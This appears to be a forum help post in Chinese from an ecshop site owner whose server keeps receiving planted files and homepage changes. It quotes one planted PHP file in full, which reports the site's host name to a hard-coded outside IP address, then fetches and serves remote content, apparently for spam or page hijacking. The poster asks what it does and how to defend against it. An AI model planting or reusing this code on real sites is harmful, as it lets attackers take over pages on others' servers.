近期我的ecshop网站天天被人植入文件,还更改首页代码。网站后台都已屏掉,还是被人上传文件到根目录下,文件内容打开如下:
谁知道:
1、植入的目的是什么?
2、用什么方法植入的?
3、有没有什么补助办法?<?php
set_time_limit(0);
header("Content-Type: text/html;charset=gb2312");
$Rcaonidaye_vvcbbiB = "http://118.193.219.132/2265339750"; 
$host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'];
$Content_mb=getHTTPPage($Rcaonidaye_vvcbbiB."/index.php?host=".$host_name);function getHTTPPage($url) {
$opts = array(
  'http'=>array(
'method'=>"GET",
'header'=>"User-Agent: aQ0O010O"
  )
);
$context = stream_context_create($opts);
$html = @file_get_contents($url, false, $context);
if (empty($html)) {
exit("<p align='center'><font color='red'><b>Connection Error!</b></font></p>");
}
return $html;
} echo $Content_mb;
?>